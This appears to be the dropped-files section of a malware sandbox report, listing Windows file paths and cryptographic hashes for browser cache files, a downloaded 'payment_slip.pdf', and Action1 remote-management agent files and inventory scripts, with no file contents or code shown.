T103D2DA7B640CCB7E4F804ADDED197A9A6D6802CB96D8C98047FE941C02C67EF511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

54f464f8-94a6-41e4-a9d6-085532615a72.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\54f464f8-94a6-41e4-a9d6-085532615a72.tmp
Size 11KB
SHA256 b283cf66d6ee49d3bba53a238e01aefb59f71d710a1176c72f9645eb6e389be2
MD5 1b54b46b945f826c2e2002bd26396361
SHA1 a104de7cc3615bf25a286d5d71c0e38d049c4d63
SHA512 f83243cfb902ca6d0558c507e319693bfbe252cf8a72ec99be17318275fc3d622b4491a238226be02fe560600e31b52532c0dcdbb50dab5b43d867858aff8068
SSDEEP 192:sxRLReTR/f1sqccZ/vzoA8pi/g6+WNIYDkt2GAIgD8AHJ:sxRLaR/f1sniei/5IGTp
TLSH
T15D42C715AE28E93B8CCBE31DBB657F53D6F9503260901E48A6FC8A1C14E76DE520781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6d5ae54d-8dfa-489c-9fb7-2a844d07ca6d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6d5ae54d-8dfa-489c-9fb7-2a844d07ca6d.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

97c715ce-0525-4133-b093-500de487267d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\97c715ce-0525-4133-b093-500de487267d.tmp
Size 11KB
SHA256 a68fffa1498bac8dfd7b828453b7f945555910c7f8685b032ee944b5ab6f0914
MD5 1df9c5ff137008a75008c779d07489ca
SHA1 18dc2cae90922f9b8ec9dc8fb98a0673e1d3a5b6
SHA512 10d89b75d7d3bc21aa2373566ef1421b153fda08c37020ec1963c757bed3c7508369033c9bff0aa264e6dc256da634ee98a2ed973079016fca04925fb5a3f32d
SSDEEP 192:sxRMReTR/f1sm0cZ/vzoA8pi/g6+WNIYDST2GAIgVAHJ:sxRMaR/f1sTiei/5IWap
TLSH
T11E32B715AE28E93B8CCBE31DBB697F53D6F9143261901E48A6FC8A1C14E76DD520780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 92e140818bd8f3cbcf3c8ba1141805cf336b9b7bdb91e9870051a0aa2ad6fd6a
MD5 95e58612e9799ff2a91fbd3b34715ef3
SHA1 880ed0130863e28ae03b66a1ba70edf0bbae6eb0
SHA512 453eb5b93f78256f25f56519f993a4e62ed26436aff4966284a85e6ad56f90d6857d3ea763292af00725f54d35c02bbc21ba7ca4e8746c0e3482c437b2d45d22
TLSH
T10EE020CC15C7C21D694AA44F017C970C83A0365AD3C4A9CD1705CA8DF409084E3C5750
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 88129020942e78d5de43e764fbafe04b919ce744dd63146e7067310aa78491ac
MD5 7853105843685a13516388b63495c697
SHA1 2de5a8e803277514c54eeffc28f7ba45c8ad4479
SHA512 a3fddca8d4f504867de07497fcff3ddb014d303d32778646a811c329009af616ececc1fa46b407f13428a87d16197bb07befee0ade0de764223f3b09147cc579
TLSH
T13A5195C966789091C77C943060DB1BAF373A86717A9F9EC21569C0FE5B463A6D208C78
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 225f518c145b2e56d04c8f5a738cc100d14fc53b3fa3d2efb510ad453a212f27
MD5 48079caf0fd8f785345a85c4afc71c2a
SHA1 3513ed5603c4d58983c78bceeae511e0cd762ed8
SHA512 b0d56a17cf13aa2d88e314842da481f7aba4836c0a7d0ad210017593ff393380aade49d17619600fbd32873a3f3d3775bf66091c17f8c024eeb9f898a8a76e5a
TLSH
T1B551A6C566789091C77C943060DB1BAF373A86B17A9F9EC21569C0FE5B463A7D208C78
MD5 SHA1 SHA512 TLSH

Submit Download

d5a59b59-50f2-48bc-b577-08251fec0789.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\d5a59b59-50f2-48bc-b577-08251fec0789.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.111.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

1a6dec59-6d45-4781-974d-7f06d2649ce5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\1a6dec59-6d45-4781-974d-7f06d2649ce5.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

7711f0ce-8fcb-42c5-9906-8649d7f5b220.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\7711f0ce-8fcb-42c5-9906-8649d7f5b220.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

dd7edbc6-7ae8-413c-8787-4bbcc715eeb3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\dd7edbc6-7ae8-413c-8787-4bbcc715eeb3.tmp
Size 2KB
SHA256 925d39a2c77e2e67baf4dd90f6e37e71271db711bc357f1306183e7002b1fb7e
MD5 c23e967b6e0fed9d722d6ba2e9be8e4b
SHA1 99f51c6cee8849a9cd9b405e5d082a1750c955e2
SHA512 e181c806cded408876465a3bcae066534b1e5337d8e3e577b750c658e9b072d4014f55da67d4f42f7e3d7a7b07df9c25dc589302c0a4731767f5e71a29d9df1e
TLSH
T1B951BEF3C3F8856D8A0196F4AA186E2FCE2D0915432C7C5AC4E49E2B93F3471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

3246d9e5-da06-44c4-bd32-a4ba7fd418eb.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\3246d9e5-da06-44c4-bd32-a4ba7fd418eb.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c77f5e32-8f67-47f3-a9bc-fdd61c2cd5e6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\c77f5e32-8f67-47f3-a9bc-fdd61c2cd5e6.tmp
Size 33KB
SHA256 105b620161bd81a1a05112bc87da6ea3a5471eec8da80492826fd1156e7f62b4
MD5 388ddd3dba8f4e2e20243e82d2e3adc0
SHA1 3e15582b70cf9984796b3b9a962bf127a4f5f07e
SHA512 c6b664138e675b6f36c635d5d591303112ff0276afe38799c255b559700a371da425a863934a25031ea74a0686293c8c2d77b447ea926421c596529e40fb6389
SSDEEP 768:OU3KcwybNbspmtdEjztKOeRFZD1fTos7RjIoaTZc7LW:OU3KvuCY1fT/Rs9WC
TLSH
T18FF2AF34B8E49D234CF6E251B24A3787BFF415A3C8C80D88D5D95E1D04C7B9E274B82A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5716b39a-0e88-4e4d-b4b4-9a26d411c732.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\5716b39a-0e88-4e4d-b4b4-9a26d411c732.tmp
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

5b1af310-5695-49c5-a3a1-366f01619702.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\5b1af310-5695-49c5-a3a1-366f01619702.tmp
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

1775561e-840e-4f4d-8efa-3238b5e56354.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\1775561e-840e-4f4d-8efa-3238b5e56354.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
Size 158KB
SHA256 3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
MD5 9c18c4721b560ec55f0d5de055144d5c
SHA1 6af37a3bda916cac276ad5879c9f61262d9ae523
SHA512 51466928eb8d3cf7b917919c98bd8168453583d2c3dc5836036d87ffd0d2c732ab8450212a880fc6de199ea569a96993ba0d250a5012160d2d72211880695f92
SSDEEP 3072:5ZwEurOxn8zXnHc2qHNYEU/rUHCVJWGdi0Ha5HnXk9TFzBsuht7yGik:5ZwPOx8D85UIHEI0HaZ09JzKStjik
TLSH
T1CFF3E13E7EDE891AD80B10BB7F16B18BD80D8E0B460AB44B769D80155B3668D1BD1CFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 cf4125d94d82b448cb33d6f462cf53eec00f2ee8165fa00f1b9c3bdba48e3328
MD5 8126a600a3d95922fb651e3a6f104f68
SHA1 e386add1c2c1d9ca74461e5ce0d1b271d689160f
SHA512 5a0e81111f0d9a0f7943b99f7bad8162de0d3f99fffa9d8f8ab466fa9c7c4249808bedfa6e4d26426bc2d1a422e2155900ba71adc222617a5f0880dc60b89a93
TLSH
T122C02B8F542E47CBBAA5152D42D40B3B4690CD60F199E6B449FA5640006435CC608C47
MD5 SHA1 SHA512 TLSH

Submit Download

754ea5dc-c7c7-4a48-950e-a76a8fcb39e9.tmp

Path C:\Users\Admin\AppData\Local\Temp\754ea5dc-c7c7-4a48-950e-a76a8fcb39e9.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

action1.msi

Path C:\Users\Admin\AppData\Local\Temp\action1.msi
Size 6.8MB
SHA256 cdb696454c5cd8db46d1cb15549c03b1dad84cb6d7659e4c1398e95cecdb97c0
MD5 5d5b7e342ce541742f21ef56f6f0be78
SHA1 09a877f3347b2a6969eff7db3176fc8b9055ab93
SHA512 aedef9086f6e041a7437da6fc2762ea8f44712db2d677109501bc740a1ed4f6fef0b9f63be6ef9603e53e6067683ef24d0544f9189ed2cc05dfc8f2d92fe71eb
SSDEEP 98304:qkMMwpD74pOTxPjLHLgk92Rdxmk69pa5SUOsFekLS57JkmPMETphToy0seQvsm:vlc4pkbLHLhObmXe/kdkmPDTs
TLSH
T118761221754E8C76C5AA363071769E7DDA7CBC305BA08BDB938339EE09315C052FDA92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f11b889f-5509-427f-aa18-f2f32dee98fe.tmp

Path C:\Users\Admin\AppData\Local\Temp\f11b889f-5509-427f-aa18-f2f32dee98fe.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4752_687577305\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4752_788204308\CRX_INSTALL\_locales\en_CA\messages.json
Size 711B
SHA256 2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b
MD5 558659936250e03cc14b60ebf648aa09
SHA1 32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825
SHA512 1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727
TLSH
T1460197136240AF18470BF05BB9023442A0B44AC62384E0B775EC982C6656DAFB20B3B0
MD5 SHA1 SHA512 TLSH

Submit Download

payment_slip.pdf.crdownload

Path C:\Users\Admin\Downloads\payment_slip.pdf.crdownload
Size 139KB
SHA256 21ee4a3755ea341733148407765a1d1f39abf7dc8eabee1529ba559f927827ff
MD5 3d2bd964ed2aacf46e40f3b53375f74a
SHA1 fbaa3f899f245f7f33d68bc81d309f82acd4fe4f
SHA512 ffb564b0d052d5161dd14f54c7336d846ddf17fdd71d080633c6a021fdba5138a5a5cef73b795543cbd490707a774ca42b29587c28fd973c3690233f66d5fa0e
SSDEEP 3072:nNlNMPF2rxKuKQpzkLooaqeh5PvydIpFCBNPUZm2RCABYfR2atf:npMPFUqMzkrapvRCXymmBYfR5tf
TLSH
T19CE312C2E73B43676A1622B3F394D69090FA51939B850E6F3751BBBB1041FF1A306A47
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

action1_agent.exe

Path C:\Windows\Action1\action1_agent.exe
Size 8.9MB
SHA256 941695d20d82dd5d62f74b0111feb23720637202f6c797df2a02e2cb6cb6e8e3
MD5 e4f1f52a78f22dd2be17449ca6f8f0af
SHA1 e9f385454fdddc7ae88431b8e02f4dfb7dd57b68
SHA512 2d7ed519a9380e1574bbc55444420334bdd0792c7839a1be67607a4f81be79e52f6c4dd10141079a47dcf61552724c2b3f060f0f670bdea527dc130ba9aebac8
SSDEEP 196608:KV1U3lnchqzhNpxSKyOBE2LeIzfAnOgOZ6aMkElWpRUn:KPoTVQYEseIzflZ6aMZORo
TLSH
T1D9968D21B641C135F9A301B29A7E4B6F853CBE30072555E7D3C858AE5AB19E33B32B17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advanced_settings.json

Path C:\Windows\Action1\advanced_settings.json
Size 54KB
SHA256 812d518857a1e77d25cfe1a640fd7c897e939f43eff72b8fe57caa048ec865b6
MD5 351a34971d90c03b8fd1450c0f7a3733
SHA1 8d51d2b7dbb2112634f7cef42095328266e314f6
SHA512 8090d1f927d67f49e94bae6cc30f4e924056d2429340e6ffcc8c84a9cb45f31ae36730198f056ef787c1e91cb6c6a18a437fed7bd27c331130254672c18c9b02
SSDEEP 768:FXKnbhRgjUpQUfRQ3Lyhx4zUtsp82qUgw6fCph8uP5K5DIK58EOKWbBoE3a+OQzJ:IRoLEBxc+wkMdAesHsLT
TLSH
T17D439E16E4757DB108C2188C5FDB1AF7DA4E019613D906DE871CEEBF89AF52C8102A9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_downgrade.version_pair

Path C:\Windows\Action1\agent_downgrade.version_pair
Size 81B
SHA256 88290f658a3b164a1227df9f08d83b58d39d6afd901174e1c1dfa9887c998977
MD5 8f9a5497a6b3b7bd4b2badb2e602ef99
SHA1 e824d5f84e935c6ecbecee34fbc4acae597b28a1
SHA512 718cb8b19c9be46131dd9eb47ffcae0fecdbcbe33ec1e6f9243a2ec4f4ae24119d2204a19381b309298aef76d3b16601afbd6e50443c74ba70fccb91c603af3b
TLSH
T13AA022023000388308E38B82283823A2CF0E008BCFA2EC0C208C0A8002AE38302CCBA0
MD5 SHA1 SHA512 TLSH

Submit Download

previousUser.txt

Path C:\Windows\Action1\previousUser.txt
Size 14B
SHA256 8e04890d3b1ac0e0ac548c041b31c0962d55d035d2536f966610ac74faa95895
MD5 4a6a34f10d8bd4393c1783a85d7d9343
SHA1 a86913b4a47c5d71940a63f72a3a6f1ec37f4d66
SHA512 673202bdbcfce4bc2477f363e0c2539405f76e55fe6382185ff7ad132dddb5dd97dc4b008b179adad9b2cd16afd1ae801733f38d2b49a130f8faf3876413742c
MD5 SHA1 SHA512

Submit Download

Action1 Agent Configuration_2066-1789648244.ps1

Path C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1789648244.ps1
Size 15KB
SHA256 311faba15883013b7a9aa031dc5118da630a35c2337c5f1c0ab6802228505cfb
MD5 90d346b440bab02108d540391fb251ab
SHA1 31e32ea2acd320eafbaf92f7c604888aed82b6d2
SHA512 db027687f1601f7e65e66990fb14c98e8a19c85f61a7007adbfa8dc2fb2e7cb5648928b739abacdb24c7ef2f810d1161963ddde987f61f02223e1164e6f14c00
SSDEEP 192:/5bdxGiVPHMM7tJ7beqEqL7loLLvx91UI9mOCJO5V51DT:/571Hz1L7loLV91UjOJP
TLSH
T1CA620F28FD68A062C2F35B2EDEA37990EE3571AB54A10414B19CD6C41FB0E50D31BF7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Bitlocker Key_2046-1789648244.ps1

Path C:\Windows\Action1\scripts\Bitlocker Key_2046-1789648244.ps1
Size 1KB
SHA256 c3b643ee4f71266cefd816afb4584d260a06d60da5b518f5b907ca61d3faca70
MD5 c48b3a721c277b1b83910fcd259a178f
SHA1 ff21b517474db3e80884a1243c9a3d922ad3b685
SHA512 4d18307e373b07e7f3dfd90db2b6843312a9d0e517d76ebb97d237b84e7e296e4b8c20b7f44fb68d5a3f79f6e6b46881f690f2924a850f98f45fea863a0d7845
TLSH
T1C43141126B34A4BB93837550F8C3C1AE52350DEE20667CC2A0FDCE8D908F6C06A6A577
MD5 SHA1 SHA512 TLSH

Submit Download

DataSource_1004.ps1

Path C:\Windows\Action1\scripts\DataSource_1004.ps1
Size 54KB
SHA256 8bb1a1a832384f954454f47f294401c11c6b425d904495d5367120b6aa19b07c
MD5 6fc8969b7a94e78f4dfb85df9ddcaf05
SHA1 69516854be0504c11e03d89ffec2fe6f05ee56cf
SHA512 afbf13750b12e7bc7ad5cad1c9fea03561669547a23a5e06d6c9210078a2c1a888c24d88e101f8c3bd27dbddc560c796b3a77949750f417e967817ab7ce95360
SSDEEP 1536:Q/41urw4TV0HeCFgpUI5TrjrLAeOUbh9Q4ZePTjqZes+MafOS9siVKI6AXNhSk1Y:Q/41KUT+UKFf
TLSH
T1CC43814CA9DAE13651A3713C5ECF60083A35801F014D9A14BA8D81C5FFA2579DBBE7AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DataSource_1008.ps1

Path C:\Windows\Action1\scripts\DataSource_1008.ps1
Size 20KB
SHA256 6ca8873bf46ea4888dce7ab5ccdaba1e34577ce8cc1064817d66a3cd901351ea
MD5 745c2c539a54b590bf44ea13064ca55e
SHA1 4cca8b2f890e6c42800e16c20cf5d76048f04f3f
SHA512 d452736909daf94b7cd8744f4b6c47faeb412f9c0fc42029dffbffae2096dbd728acc2833f75e32bb8a61977f0a0253e90a1259ac806ae5dd7988980d89c90f3
SSDEEP 384:FomS7XwYkQo+ZL3VtmUtCCoaPSCVTESKvjQr5WMVH0DpRrwId:FomSLwJWFAUDohCVTESKvjQrzURx
TLSH
T1A3A2F928AABAC22410C3207D9F9B550A7976A15F809DDD10B99CCBD0AF4191CDBF47AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Hardware Summary_2037-1789648244.ps1

Path C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1
Size 12KB
SHA256 77cae1db83993c02ff5f254ae161521a782c22e618bbcf6b1101428db674d2b7
MD5 247536fbd4b32577137e4f4b372a9249
SHA1 973c8d08eec0ba3d65e881ab3867542caaba8520
SHA512 7235430e8d191e2d0b813f3e0aca1d2230d2b6711b737f6a84350e8c670caa9f145e282a9a7063e3200d47b56d0d8c408827a4ac1bfb7d49d7814d12a13b92df
SSDEEP 192:TKkRAp3iIilHUs7opxWwYTil7iY/9QLG0xOxfQq+doeW4Zlhl487vbcCyaMH3tiL:TcW7hwY4QIiZU3ntmUtCCoaPAH
TLSH
T11742C729E65AD16820C320695F63540E79A1F01F4149AE40B9AC8FE0FFD198DD6F1A7F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Installed Printers_2025-1789648244.ps1

Path C:\Windows\Action1\scripts\Installed Printers_2025-1789648244.ps1
Size 1KB
SHA256 b558869c41920db3bd3af0e204149ff735402e376c5e5127a676f2453620e608
MD5 60ba537279a5226ece6d080a2f2b21f1
SHA1 71cea71ea6a6a4ce9ee0c322cdf6a84f4def7eb0
SHA512 b234f39411a082ab349d45fef6eb92eebf6a48aaef1635e61f3f3c334e1d5bd190dcbb8501afd45f671ba8c7f08d141475d80d8f985dc6f6d3549366fd835c8b
TLSH
T1E33142512E6AE1D1C1476602EE92B01E88370DAE10AEBDC478EDCD8AEDC3350D562277
MD5 SHA1 SHA512 TLSH

Submit Download

MS Outlook Versions_2043-1789648244.ps1

Path C:\Windows\Action1\scripts\MS Outlook Versions_2043-1789648244.ps1
Size 2KB
SHA256 6973bcb55ddcb2ac7e0569adc9e4007f315ba77dc8dbc0836a8b5637bb86889a
MD5 178c7995314b2a74eb29b269a396393e
SHA1 0b9b97db4a5a331d405606a77c22007805191922
SHA512 7f32636b5c7372d032a76dd80e17469e20df0d8403be65406945761d2ead1755fde2c7c4f9b778eba3e479b81b63469c060cf6a61a20fc4ff63ffca4986aae80
TLSH
T1E5416420AB1DC0E912467752F1D7C38EE2F9016D10273D4414AEC499F165E5D4BF2677
MD5 SHA1 SHA512 TLSH

Submit Download

Monitors_2026-1789648244.ps1

Path C:\Windows\Action1\scripts\Monitors_2026-1789648244.ps1
Size 1KB
SHA256 ec02022539fc99fa918ab77b05941d73f0675476d60a7737c46c05471e95e5ae
MD5 ac6882acc72155fcef060fa9760c1409
SHA1 1ffa08280717c2aec735104bc13248d1be560d48
SHA512 c22ded8f802c4f7c2a108148fd5fb530a3dc462f31804cd25a4cb8721dd2a3e57a038ed68a358f4f671a8678a600edd0feb445732a4b3bd49eba2b34ea3f7ab9
TLSH
T1E631E0201E75E0A181476742ED92A52A94360E5A105EBDC578EECC8AFFC3B90E666137
MD5 SHA1 SHA512 TLSH

Submit Download

Processx002FMemory Stats_2031-1789648244.ps1

Path C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1789648244.ps1
Size 1KB
SHA256 d7bcbd52fa0990e77273c8e4bf38ab09e556933b928ce9bee86540afca9c5a93
MD5 feebd53ec2f4e66d79795e9ff5374e97
SHA1 09a7b7f57ade7c24f61e25bc2eb14ef8c0bd3136
SHA512 95868670b6d877c019f4bd9d93697ff5a86a0bef0930610cb58dd8a1e66383fbd26bed30e96970f013070a8fe3ae2d3a7c705c5c91ab4f6b89bb1464a1cf8f2f
TLSH
T1774120241A3CE19881466D6666D39096F0250D5F009EBDC674EDCCC9DBC3A94F4F2977
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Drivers_2024-1789648244.ps1

Path C:\Windows\Action1\scripts\Windows Drivers_2024-1789648244.ps1
Size 1KB
SHA256 710969abbeed769a28ce51e3b9b6be76c9df62ea066e0c6a108947c5855b5bc7
MD5 1a21657aa6ab3b0f112da35bf2a21e2c
SHA1 4500f131f36012b186a77196176fc39a5b8c464f
SHA512 993c08e90459572c23ce38ebdd241a04ddeec11560ba048000c8fbdefb81118d48da9ef97dbbf0a8572fd6775715561d2f34f08769edc034b986441661d9f953
TLSH
T16B3104506F2DD091C243A742F647B61A88360DAE106EBD8578FDCCCED9C3755D561237
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Services_2033-1789648244.ps1

Path C:\Windows\Action1\scripts\Windows Services_2033-1789648244.ps1
Size 1KB
SHA256 2ade9c76c032a8ef639e2a1109428ca6c2719c1ebe05f657f9cb260035e32459
MD5 6c74089794f37fd5a5f151641ae60df5
SHA1 ca93712303c86d4360fd7fd5c8dc17b37f86f5b4
SHA512 a9e346cff87492a10b858df2fe92317c5b2d9dd354d3c44d46ef1dfc30cf880d5961093e79bcfd7d628d84c171d55c86e80fa58edc80ceaea4215901b49012b1
TLSH
T1FC418640D76CD0D24147A3A2AC97660B686D029D153AFC91FCFCC199F0E0F66D09663F
MD5 SHA1 SHA512 TLSH

Submit Download

Windows Update History_2044-1789648244.ps1

Path C:\Windows\Action1\scripts\Windows Update History_2044-1789648244.ps1
